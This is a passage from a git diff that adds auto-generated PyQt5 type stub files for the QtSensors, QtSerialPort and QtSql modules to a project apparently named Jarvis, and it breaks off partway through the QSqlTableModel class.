returnDoubleTapEventsChanged(self, returnDoubleTapEvents: bool) -> None: ... + def setReturnDoubleTapEvents(self, returnDoubleTapEvents: bool) -> None: ... + def returnDoubleTapEvents(self) -> bool: ... + def reading(self) -> QTapReading: ... + + +class QTiltReading(QSensorReading): + + def setXRotation(self, x: float) -> None: ... + def xRotation(self) -> float: ... + def setYRotation(self, y: float) -> None: ... + def yRotation(self) -> float: ... + + +class QTiltFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTiltFilter') -> None: ... + + def filter(self, reading: QTiltReading) -> bool: ... + + +class QTiltSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def calibrate(self) -> None: ... + def reading(self) -> QTiltReading: ... + + +class QRotationReading(QSensorReading): + + def setFromEuler(self, x: float, y: float, z: float) -> None: ... + def z(self) -> float: ... + def y(self) -> float: ... + def x(self) -> float: ... + + +class QRotationFilter(QSensorFilter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QRotationFilter') -> None: ... + + def filter(self, reading: QRotationReading) -> bool: ... + + +class QRotationSensor(QSensor): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def hasZChanged(self, hasZ: bool) -> None: ... + def setHasZ(self, hasZ: bool) -> None: ... + def hasZ(self) -> bool: ... + def reading(self) -> QRotationReading: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtSerialPort.pyi b/OTHERS/Jarvis/ools/PyQt5/QtSerialPort.pyi new file mode 100644 index 00000000..3e4de0ce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtSerialPort.pyi @@ -0,0 +1,242 @@ +# The PEP 484 type hints stub file for the QtSerialPort module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QSerialPort(QtCore.QIODevice): + + class SerialPortError(int): + NoError = ... # type: QSerialPort.SerialPortError + DeviceNotFoundError = ... # type: QSerialPort.SerialPortError + PermissionError = ... # type: QSerialPort.SerialPortError + OpenError = ... # type: QSerialPort.SerialPortError + ParityError = ... # type: QSerialPort.SerialPortError + FramingError = ... # type: QSerialPort.SerialPortError + BreakConditionError = ... # type: QSerialPort.SerialPortError + WriteError = ... # type: QSerialPort.SerialPortError + ReadError = ... # type: QSerialPort.SerialPortError + ResourceError = ... # type: QSerialPort.SerialPortError + UnsupportedOperationError = ... # type: QSerialPort.SerialPortError + TimeoutError = ... # type: QSerialPort.SerialPortError + NotOpenError = ... # type: QSerialPort.SerialPortError + UnknownError = ... # type: QSerialPort.SerialPortError + + class DataErrorPolicy(int): + SkipPolicy = ... # type: QSerialPort.DataErrorPolicy + PassZeroPolicy = ... # type: QSerialPort.DataErrorPolicy + IgnorePolicy = ... # type: QSerialPort.DataErrorPolicy + StopReceivingPolicy = ... # type: QSerialPort.DataErrorPolicy + UnknownPolicy = ... # type: QSerialPort.DataErrorPolicy + + class PinoutSignal(int): + NoSignal = ... # type: QSerialPort.PinoutSignal + TransmittedDataSignal = ... # type: QSerialPort.PinoutSignal + ReceivedDataSignal = ... # type: QSerialPort.PinoutSignal + DataTerminalReadySignal = ... # type: QSerialPort.PinoutSignal + DataCarrierDetectSignal = ... # type: QSerialPort.PinoutSignal + DataSetReadySignal = ... # type: QSerialPort.PinoutSignal + RingIndicatorSignal = ... # type: QSerialPort.PinoutSignal + RequestToSendSignal = ... # type: QSerialPort.PinoutSignal + ClearToSendSignal = ... # type: QSerialPort.PinoutSignal + SecondaryTransmittedDataSignal = ... # type: QSerialPort.PinoutSignal + SecondaryReceivedDataSignal = ... # type: QSerialPort.PinoutSignal + + class FlowControl(int): + NoFlowControl = ... # type: QSerialPort.FlowControl + HardwareControl = ... # type: QSerialPort.FlowControl + SoftwareControl = ... # type: QSerialPort.FlowControl + UnknownFlowControl = ... # type: QSerialPort.FlowControl + + class StopBits(int): + OneStop = ... # type: QSerialPort.StopBits + OneAndHalfStop = ... # type: QSerialPort.StopBits + TwoStop = ... # type: QSerialPort.StopBits + UnknownStopBits = ... # type: QSerialPort.StopBits + + class Parity(int): + NoParity = ... # type: QSerialPort.Parity + EvenParity = ... # type: QSerialPort.Parity + OddParity = ... # type: QSerialPort.Parity + SpaceParity = ... # type: QSerialPort.Parity + MarkParity = ... # type: QSerialPort.Parity + UnknownParity = ... # type: QSerialPort.Parity + + class DataBits(int): + Data5 = ... # type: QSerialPort.DataBits + Data6 = ... # type: QSerialPort.DataBits + Data7 = ... # type: QSerialPort.DataBits + Data8 = ... # type: QSerialPort.DataBits + UnknownDataBits = ... # type: QSerialPort.DataBits + + class BaudRate(int): + Baud1200 = ... # type: QSerialPort.BaudRate + Baud2400 = ... # type: QSerialPort.BaudRate + Baud4800 = ... # type: QSerialPort.BaudRate + Baud9600 = ... # type: QSerialPort.BaudRate + Baud19200 = ... # type: QSerialPort.BaudRate + Baud38400 = ... # type: QSerialPort.BaudRate + Baud57600 = ... # type: QSerialPort.BaudRate + Baud115200 = ... # type: QSerialPort.BaudRate + UnknownBaud = ... # type: QSerialPort.BaudRate + + class Direction(int): + Input = ... # type: QSerialPort.Direction + Output = ... # type: QSerialPort.Direction + AllDirections = ... # type: QSerialPort.Direction + + class Directions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSerialPort.Directions', 'QSerialPort.Direction']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSerialPort.Directions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSerialPort.Directions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class PinoutSignals(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QSerialPort.PinoutSignals', 'QSerialPort.PinoutSignal']) -> None: ... + @typing.overload + def __init__(self, a0: 'QSerialPort.PinoutSignals') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QSerialPort.PinoutSignals': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, name: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, info: 'QSerialPortInfo', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def errorOccurred(self, error: 'QSerialPort.SerialPortError') -> None: ... + def breakEnabledChanged(self, set: bool) -> None: ... + def isBreakEnabled(self) -> bool: ... + def handle(self) -> PyQt5.sip.voidptr: ... + def writeData(self, data: bytes) -> int: ... + def readLineData(self, maxlen: int) -> bytes: ... + def readData(self, maxlen: int) -> bytes: ... + def settingsRestoredOnCloseChanged(self, restore: bool) -> None: ... + def requestToSendChanged(self, set: bool) -> None: ... + def dataTerminalReadyChanged(self, set: bool) -> None: ... + def dataErrorPolicyChanged(self, policy: 'QSerialPort.DataErrorPolicy') -> None: ... + def flowControlChanged(self, flow: 'QSerialPort.FlowControl') -> None: ... + def stopBitsChanged(self, stopBits: 'QSerialPort.StopBits') -> None: ... + def parityChanged(self, parity: 'QSerialPort.Parity') -> None: ... + def dataBitsChanged(self, dataBits: 'QSerialPort.DataBits') -> None: ... + def baudRateChanged(self, baudRate: int, directions: typing.Union['QSerialPort.Directions', 'QSerialPort.Direction']) -> None: ... + def setBreakEnabled(self, enabled: bool = ...) -> bool: ... + def sendBreak(self, duration: int = ...) -> bool: ... + def waitForBytesWritten(self, msecs: int = ...) -> bool: ... + def waitForReadyRead(self, msecs: int = ...) -> bool: ... + def canReadLine(self) -> bool: ... + def bytesToWrite(self) -> int: ... + def bytesAvailable(self) -> int: ... + def isSequential(self) -> bool: ... + def setReadBufferSize(self, size: int) -> None: ... + def readBufferSize(self) -> int: ... + def clearError(self) -> None: ... + @typing.overload + def error(self) -> 'QSerialPort.SerialPortError': ... + @typing.overload + def error(self, serialPortError: 'QSerialPort.SerialPortError') -> None: ... + def dataErrorPolicy(self) -> 'QSerialPort.DataErrorPolicy': ... + def setDataErrorPolicy(self, policy: 'QSerialPort.DataErrorPolicy' = ...) -> bool: ... + def atEnd(self) -> bool: ... + def clear(self, dir: typing.Union['QSerialPort.Directions', 'QSerialPort.Direction'] = ...) -> bool: ... + def flush(self) -> bool: ... + def pinoutSignals(self) -> 'QSerialPort.PinoutSignals': ... + def isRequestToSend(self) -> bool: ... + def setRequestToSend(self, set: bool) -> bool: ... + def isDataTerminalReady(self) -> bool: ... + def setDataTerminalReady(self, set: bool) -> bool: ... + def flowControl(self) -> 'QSerialPort.FlowControl': ... + def setFlowControl(self, flow: 'QSerialPort.FlowControl') -> bool: ... + def stopBits(self) -> 'QSerialPort.StopBits': ... + def setStopBits(self, stopBits: 'QSerialPort.StopBits') -> bool: ... + def parity(self) -> 'QSerialPort.Parity': ... + def setParity(self, parity: 'QSerialPort.Parity') -> bool: ... + def dataBits(self) -> 'QSerialPort.DataBits': ... + def setDataBits(self, dataBits: 'QSerialPort.DataBits') -> bool: ... + def baudRate(self, dir: typing.Union['QSerialPort.Directions', 'QSerialPort.Direction'] = ...) -> int: ... + def setBaudRate(self, baudRate: int, dir: typing.Union['QSerialPort.Directions', 'QSerialPort.Direction'] = ...) -> bool: ... + def settingsRestoredOnClose(self) -> bool: ... + def setSettingsRestoredOnClose(self, restore: bool) -> None: ... + def close(self) -> None: ... + def open(self, mode: typing.Union[QtCore.QIODevice.OpenMode, QtCore.QIODevice.OpenModeFlag]) -> bool: ... + def setPort(self, info: 'QSerialPortInfo') -> None: ... + def portName(self) -> str: ... + def setPortName(self, name: str) -> None: ... + + +class QSerialPortInfo(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, port: QSerialPort) -> None: ... + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, other: 'QSerialPortInfo') -> None: ... + + def serialNumber(self) -> str: ... + def isNull(self) -> bool: ... + @staticmethod + def availablePorts() -> typing.List['QSerialPortInfo']: ... + @staticmethod + def standardBaudRates() -> typing.List[int]: ... + def isValid(self) -> bool: ... + def isBusy(self) -> bool: ... + def hasProductIdentifier(self) -> bool: ... + def hasVendorIdentifier(self) -> bool: ... + def productIdentifier(self) -> int: ... + def vendorIdentifier(self) -> int: ... + def manufacturer(self) -> str: ... + def description(self) -> str: ... + def systemLocation(self) -> str: ... + def portName(self) -> str: ... + def swap(self, other: 'QSerialPortInfo') -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtSql.pyi b/OTHERS/Jarvis/ools/PyQt5/QtSql.pyi new file mode 100644 index 00000000..2f0f2401 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtSql.pyi @@ -0,0 +1,670 @@ +# The PEP 484 type hints stub file for the QtSql module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QSqlDriverCreatorBase(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSqlDriverCreatorBase') -> None: ... + + def createObject(self) -> 'QSqlDriver': ... + + +class QSqlDatabase(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QSqlDatabase') -> None: ... + @typing.overload + def __init__(self, type: str) -> None: ... + @typing.overload + def __init__(self, driver: 'QSqlDriver') -> None: ... + + def numericalPrecisionPolicy(self) -> 'QSql.NumericalPrecisionPolicy': ... + def setNumericalPrecisionPolicy(self, precisionPolicy: 'QSql.NumericalPrecisionPolicy') -> None: ... + @staticmethod + def isDriverAvailable(name: str) -> bool: ... + @staticmethod + def registerSqlDriver(name: str, creator: QSqlDriverCreatorBase) -> None: ... + @staticmethod + def connectionNames() -> typing.List[str]: ... + @staticmethod + def drivers() -> typing.List[str]: ... + @staticmethod + def contains(connectionName: str = ...) -> bool: ... + @staticmethod + def removeDatabase(connectionName: str) -> None: ... + @staticmethod + def database(connectionName: str = ..., open: bool = ...) -> 'QSqlDatabase': ... + @typing.overload + @staticmethod + def cloneDatabase(other: 'QSqlDatabase', connectionName: str) -> 'QSqlDatabase': ... + @typing.overload + @staticmethod + def cloneDatabase(other: str, connectionName: str) -> 'QSqlDatabase': ... + @typing.overload + @staticmethod + def addDatabase(type: str, connectionName: str = ...) -> 'QSqlDatabase': ... + @typing.overload + @staticmethod + def addDatabase(driver: 'QSqlDriver', connectionName: str = ...) -> 'QSqlDatabase': ... + def driver(self) -> 'QSqlDriver': ... + def connectionName(self) -> str: ... + def connectOptions(self) -> str: ... + def port(self) -> int: ... + def driverName(self) -> str: ... + def hostName(self) -> str: ... + def password(self) -> str: ... + def userName(self) -> str: ... + def databaseName(self) -> str: ... + def setConnectOptions(self, options: str = ...) -> None: ... + def setPort(self, p: int) -> None: ... + def setHostName(self, host: str) -> None: ... + def setPassword(self, password: str) -> None: ... + def setUserName(self, name: str) -> None: ... + def setDatabaseName(self, name: str) -> None: ... + def rollback(self) -> bool: ... + def commit(self) -> bool: ... + def transaction(self) -> bool: ... + def isValid(self) -> bool: ... + def lastError(self) -> 'QSqlError': ... + def exec(self, query: str = ...) -> 'QSqlQuery': ... + def exec_(self, query: str = ...) -> 'QSqlQuery': ... + def record(self, tablename: str) -> 'QSqlRecord': ... + def primaryIndex(self, tablename: str) -> 'QSqlIndex': ... + def tables(self, type: 'QSql.TableType' = ...) -> typing.List[str]: ... + def isOpenError(self) -> bool: ... + def isOpen(self) -> bool: ... + def close(self) -> None: ... + @typing.overload + def open(self) -> bool: ... + @typing.overload + def open(self, user: str, password: str) -> bool: ... + + +class QSqlDriver(QtCore.QObject): + + class DbmsType(int): + UnknownDbms = ... # type: QSqlDriver.DbmsType + MSSqlServer = ... # type: QSqlDriver.DbmsType + MySqlServer = ... # type: QSqlDriver.DbmsType + PostgreSQL = ... # type: QSqlDriver.DbmsType + Oracle = ... # type: QSqlDriver.DbmsType + Sybase = ... # type: QSqlDriver.DbmsType + SQLite = ... # type: QSqlDriver.DbmsType + Interbase = ... # type: QSqlDriver.DbmsType + DB2 = ... # type: QSqlDriver.DbmsType + + class NotificationSource(int): + UnknownSource = ... # type: QSqlDriver.NotificationSource + SelfSource = ... # type: QSqlDriver.NotificationSource + OtherSource = ... # type: QSqlDriver.NotificationSource + + class IdentifierType(int): + FieldName = ... # type: QSqlDriver.IdentifierType + TableName = ... # type: QSqlDriver.IdentifierType + + class StatementType(int): + WhereStatement = ... # type: QSqlDriver.StatementType + SelectStatement = ... # type: QSqlDriver.StatementType + UpdateStatement = ... # type: QSqlDriver.StatementType + InsertStatement = ... # type: QSqlDriver.StatementType + DeleteStatement = ... # type: QSqlDriver.StatementType + + class DriverFeature(int): + Transactions = ... # type: QSqlDriver.DriverFeature + QuerySize = ... # type: QSqlDriver.DriverFeature + BLOB = ... # type: QSqlDriver.DriverFeature + Unicode = ... # type: QSqlDriver.DriverFeature + PreparedQueries = ... # type: QSqlDriver.DriverFeature + NamedPlaceholders = ... # type: QSqlDriver.DriverFeature + PositionalPlaceholders = ... # type: QSqlDriver.DriverFeature + LastInsertId = ... # type: QSqlDriver.DriverFeature + BatchOperations = ... # type: QSqlDriver.DriverFeature + SimpleLocking = ... # type: QSqlDriver.DriverFeature + LowPrecisionNumbers = ... # type: QSqlDriver.DriverFeature + EventNotifications = ... # type: QSqlDriver.DriverFeature + FinishQuery = ... # type: QSqlDriver.DriverFeature + MultipleResultSets = ... # type: QSqlDriver.DriverFeature + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def dbmsType(self) -> 'QSqlDriver.DbmsType': ... + def numericalPrecisionPolicy(self) -> 'QSql.NumericalPrecisionPolicy': ... + def setNumericalPrecisionPolicy(self, precisionPolicy: 'QSql.NumericalPrecisionPolicy') -> None: ... + def stripDelimiters(self, identifier: str, type: 'QSqlDriver.IdentifierType') -> str: ... + def isIdentifierEscaped(self, identifier: str, type: 'QSqlDriver.IdentifierType') -> bool: ... + @typing.overload + def notification(self, name: str) -> None: ... + @typing.overload + def notification(self, name: str, source: 'QSqlDriver.NotificationSource', payload: typing.Any) -> None: ... + def subscribedToNotifications(self) -> typing.List[str]: ... + def unsubscribeFromNotification(self, name: str) -> bool: ... + def subscribeToNotification(self, name: str) -> bool: ... + def setLastError(self, e: 'QSqlError') -> None: ... + def setOpenError(self, e: bool) -> None: ... + def setOpen(self, o: bool) -> None: ... + def open(self, db: str, user: str = ..., password: str = ..., host: str = ..., port: int = ..., options: str = ...) -> bool: ... + def createResult(self) -> 'QSqlResult': ... + def close(self) -> None: ... + def hasFeature(self, f: 'QSqlDriver.DriverFeature') -> bool: ... + def handle(self) -> typing.Any: ... + def lastError(self) -> 'QSqlError': ... + def sqlStatement(self, type: 'QSqlDriver.StatementType', tableName: str, rec: 'QSqlRecord', preparedStatement: bool) -> str: ... + def escapeIdentifier(self, identifier: str, type: 'QSqlDriver.IdentifierType') -> str: ... + def formatValue(self, field: 'QSqlField', trimStrings: bool = ...) -> str: ... + def record(self, tableName: str) -> 'QSqlRecord': ... + def primaryIndex(self, tableName: str) -> 'QSqlIndex': ... + def tables(self, tableType: 'QSql.TableType') -> typing.List[str]: ... + def rollbackTransaction(self) -> bool: ... + def commitTransaction(self) -> bool: ... + def beginTransaction(self) -> bool: ... + def isOpenError(self) -> bool: ... + def isOpen(self) -> bool: ... + + +class QSqlError(sip.simplewrapper): + + class ErrorType(int): + NoError = ... # type: QSqlError.ErrorType + ConnectionError = ... # type: QSqlError.ErrorType + StatementError = ... # type: QSqlError.ErrorType + TransactionError = ... # type: QSqlError.ErrorType + UnknownError = ... # type: QSqlError.ErrorType + + @typing.overload + def __init__(self, driverText: str = ..., databaseText: str = ..., type: 'QSqlError.ErrorType' = ..., errorCode: str = ...) -> None: ... + @typing.overload + def __init__(self, driverText: str, databaseText: str, type: 'QSqlError.ErrorType', number: int) -> None: ... + @typing.overload + def __init__(self, other: 'QSqlError') -> None: ... + + def swap(self, other: 'QSqlError') -> None: ... + def nativeErrorCode(self) -> str: ... + def isValid(self) -> bool: ... + def text(self) -> str: ... + def setNumber(self, number: int) -> None: ... + def number(self) -> int: ... + def setType(self, type: 'QSqlError.ErrorType') -> None: ... + def type(self) -> 'QSqlError.ErrorType': ... + def setDatabaseText(self, databaseText: str) -> None: ... + def databaseText(self) -> str: ... + def setDriverText(self, driverText: str) -> None: ... + def driverText(self) -> str: ... + + +class QSqlField(sip.simplewrapper): + + class RequiredStatus(int): + Unknown = ... # type: QSqlField.RequiredStatus + Optional = ... # type: QSqlField.RequiredStatus + Required = ... # type: QSqlField.RequiredStatus + + @typing.overload + def __init__(self, fieldName: str = ..., type: QtCore.QVariant.Type = ...) -> None: ... + @typing.overload + def __init__(self, fieldName: str, type: QtCore.QVariant.Type, tableName: str) -> None: ... + @typing.overload + def __init__(self, other: 'QSqlField') -> None: ... + + def tableName(self) -> str: ... + def setTableName(self, tableName: str) -> None: ... + def isValid(self) -> bool: ... + def isGenerated(self) -> bool: ... + def typeID(self) -> int: ... + def defaultValue(self) -> typing.Any: ... + def precision(self) -> int: ... + def length(self) -> int: ... + def requiredStatus(self) -> 'QSqlField.RequiredStatus': ... + def setAutoValue(self, autoVal: bool) -> None: ... + def setGenerated(self, gen: bool) -> None: ... + def setSqlType(self, type: int) -> None: ... + def setDefaultValue(self, value: typing.Any) -> None: ... + def setPrecision(self, precision: int) -> None: ... + def setLength(self, fieldLength: int) -> None: ... + def setRequired(self, required: bool) -> None: ... + def setRequiredStatus(self, status: 'QSqlField.RequiredStatus') -> None: ... + def setType(self, type: QtCore.QVariant.Type) -> None: ... + def isAutoValue(self) -> bool: ... + def type(self) -> QtCore.QVariant.Type: ... + def clear(self) -> None: ... + def isReadOnly(self) -> bool: ... + def setReadOnly(self, readOnly: bool) -> None: ... + def isNull(self) -> bool: ... + def name(self) -> str: ... + def setName(self, name: str) -> None: ... + def value(self) -> typing.Any: ... + def setValue(self, value: typing.Any) -> None: ... + + +class QSqlRecord(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QSqlRecord') -> None: ... + + def keyValues(self, keyFields: 'QSqlRecord') -> 'QSqlRecord': ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def clearValues(self) -> None: ... + def clear(self) -> None: ... + def contains(self, name: str) -> bool: ... + def isEmpty(self) -> bool: ... + def remove(self, pos: int) -> None: ... + def insert(self, pos: int, field: QSqlField) -> None: ... + def replace(self, pos: int, field: QSqlField) -> None: ... + def append(self, field: QSqlField) -> None: ... + @typing.overload + def setGenerated(self, name: str, generated: bool) -> None: ... + @typing.overload + def setGenerated(self, i: int, generated: bool) -> None: ... + @typing.overload + def isGenerated(self, i: int) -> bool: ... + @typing.overload + def isGenerated(self, name: str) -> bool: ... + @typing.overload + def field(self, i: int) -> QSqlField: ... + @typing.overload + def field(self, name: str) -> QSqlField: ... + def fieldName(self, i: int) -> str: ... + def indexOf(self, name: str) -> int: ... + @typing.overload + def isNull(self, i: int) -> bool: ... + @typing.overload + def isNull(self, name: str) -> bool: ... + @typing.overload + def setNull(self, i: int) -> None: ... + @typing.overload + def setNull(self, name: str) -> None: ... + @typing.overload + def setValue(self, i: int, val: typing.Any) -> None: ... + @typing.overload + def setValue(self, name: str, val: typing.Any) -> None: ... + @typing.overload + def value(self, i: int) -> typing.Any: ... + @typing.overload + def value(self, name: str) -> typing.Any: ... + + +class QSqlIndex(QSqlRecord): + + @typing.overload + def __init__(self, cursorName: str = ..., name: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QSqlIndex') -> None: ... + + def setDescending(self, i: int, desc: bool) -> None: ... + def isDescending(self, i: int) -> bool: ... + @typing.overload + def append(self, field: QSqlField) -> None: ... + @typing.overload + def append(self, field: QSqlField, desc: bool) -> None: ... + def name(self) -> str: ... + def setName(self, name: str) -> None: ... + def cursorName(self) -> str: ... + def setCursorName(self, cursorName: str) -> None: ... + + +class QSqlQuery(sip.simplewrapper): + + class BatchExecutionMode(int): + ValuesAsRows = ... # type: QSqlQuery.BatchExecutionMode + ValuesAsColumns = ... # type: QSqlQuery.BatchExecutionMode + + @typing.overload + def __init__(self, r: 'QSqlResult') -> None: ... + @typing.overload + def __init__(self, query: str = ..., db: QSqlDatabase = ...) -> None: ... + @typing.overload + def __init__(self, db: QSqlDatabase) -> None: ... + @typing.overload + def __init__(self, other: 'QSqlQuery') -> None: ... + + def nextResult(self) -> bool: ... + def finish(self) -> None: ... + def numericalPrecisionPolicy(self) -> 'QSql.NumericalPrecisionPolicy': ... + def setNumericalPrecisionPolicy(self, precisionPolicy: 'QSql.NumericalPrecisionPolicy') -> None: ... + def lastInsertId(self) -> typing.Any: ... + def executedQuery(self) -> str: ... + def boundValues(self) -> typing.Dict[str, typing.Any]: ... + @typing.overload + def boundValue(self, placeholder: str) -> typing.Any: ... + @typing.overload + def boundValue(self, pos: int) -> typing.Any: ... + def addBindValue(self, val: typing.Any, type: typing.Union['QSql.ParamType', 'QSql.ParamTypeFlag'] = ...) -> None: ... + @typing.overload + def bindValue(self, placeholder: str, val: typing.Any, type: typing.Union['QSql.ParamType', 'QSql.ParamTypeFlag'] = ...) -> None: ... + @typing.overload + def bindValue(self, pos: int, val: typing.Any, type: typing.Union['QSql.ParamType', 'QSql.ParamTypeFlag'] = ...) -> None: ... + def prepare(self, query: str) -> bool: ... + def execBatch(self, mode: 'QSqlQuery.BatchExecutionMode' = ...) -> bool: ... + def clear(self) -> None: ... + def last(self) -> bool: ... + def first(self) -> bool: ... + def previous(self) -> bool: ... + def next(self) -> bool: ... + def seek(self, index: int, relative: bool = ...) -> bool: ... + @typing.overload + def value(self, i: int) -> typing.Any: ... + @typing.overload + def value(self, name: str) -> typing.Any: ... + @typing.overload + def exec(self, query: str) -> bool: ... + @typing.overload + def exec(self) -> bool: ... + @typing.overload + def exec_(self, query: str) -> bool: ... + @typing.overload + def exec_(self) -> bool: ... + def setForwardOnly(self, forward: bool) -> None: ... + def record(self) -> QSqlRecord: ... + def isForwardOnly(self) -> bool: ... + def result(self) -> 'QSqlResult': ... + def driver(self) -> QSqlDriver: ... + def size(self) -> int: ... + def isSelect(self) -> bool: ... + def lastError(self) -> QSqlError: ... + def numRowsAffected(self) -> int: ... + def lastQuery(self) -> str: ... + def at(self) -> int: ... + @typing.overload + def isNull(self, field: int) -> bool: ... + @typing.overload + def isNull(self, name: str) -> bool: ... + def isActive(self) -> bool: ... + def isValid(self) -> bool: ... + + +class QSqlQueryModel(QtCore.QAbstractTableModel): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def roleNames(self) -> typing.Dict[int, QtCore.QByteArray]: ... + def endRemoveColumns(self) -> None: ... + def beginRemoveColumns(self, parent: QtCore.QModelIndex, first: int, last: int) -> None: ... + def endInsertColumns(self) -> None: ... + def beginInsertColumns(self, parent: QtCore.QModelIndex, first: int, last: int) -> None: ... + def endRemoveRows(self) -> None: ... + def beginRemoveRows(self, parent: QtCore.QModelIndex, first: int, last: int) -> None: ... + def endInsertRows(self) -> None: ... + def beginInsertRows(self, parent: QtCore.QModelIndex, first: int, last: int) -> None: ... + def endResetModel(self) -> None: ... + def beginResetModel(self) -> None: ... + def setLastError(self, error: QSqlError) -> None: ... + def indexInQuery(self, item: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def queryChange(self) -> None: ... + def canFetchMore(self, parent: QtCore.QModelIndex = ...) -> bool: ... + def fetchMore(self, parent: QtCore.QModelIndex = ...) -> None: ... + def lastError(self) -> QSqlError: ... + def clear(self) -> None: ... + def query(self) -> QSqlQuery: ... + @typing.overload + def setQuery(self, query: QSqlQuery) -> None: ... + @typing.overload + def setQuery(self, query: str, db: QSqlDatabase = ...) -> None: ... + def removeColumns(self, column: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def insertColumns(self, column: int, count: int, parent: QtCore.QModelIndex = ...) -> bool: ... + def setHeaderData(self, section: int, orientation: QtCore.Qt.Orientation, value: typing.Any, role: int = ...) -> bool: ... + def headerData(self, section: int, orientation: QtCore.Qt.Orientation, role: int = ...) -> typing.Any: ... + def data(self, item: QtCore.QModelIndex, role: int = ...) -> typing.Any: ... + @typing.overload + def record(self, row: int) -> QSqlRecord: ... + @typing.overload + def record(self) -> QSqlRecord: ... + def columnCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def rowCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + + +class QSqlRelationalDelegate(QtWidgets.QItemDelegate): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setEditorData(self, editor: QtWidgets.QWidget, index: QtCore.QModelIndex) -> None: ... + def setModelData(self, editor: QtWidgets.QWidget, model: QtCore.QAbstractItemModel, index: QtCore.QModelIndex) -> None: ... + def createEditor(self, parent: QtWidgets.QWidget, option: QtWidgets.QStyleOptionViewItem, index: QtCore.QModelIndex) -> QtWidgets.QWidget: ... + + +class QSqlRelation(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, aTableName: str, indexCol: str, displayCol: str) -> None: ... + @typing.overload + def __init__(self, a0: 'QSqlRelation') -> None: ... + + def swap(self, other: 'QSqlRelation') -> None: ... + def isValid(self) -> bool: ... + def displayColumn(self) -> str: ... + def indexColumn(self) -> str: ... + def tableName(self) -> str: ... + + +class QSqlTableModel(QSqlQueryModel): + + class EditStrategy(int): + OnFieldChange = ... # type: QSqlTableModel.EditStrategy + 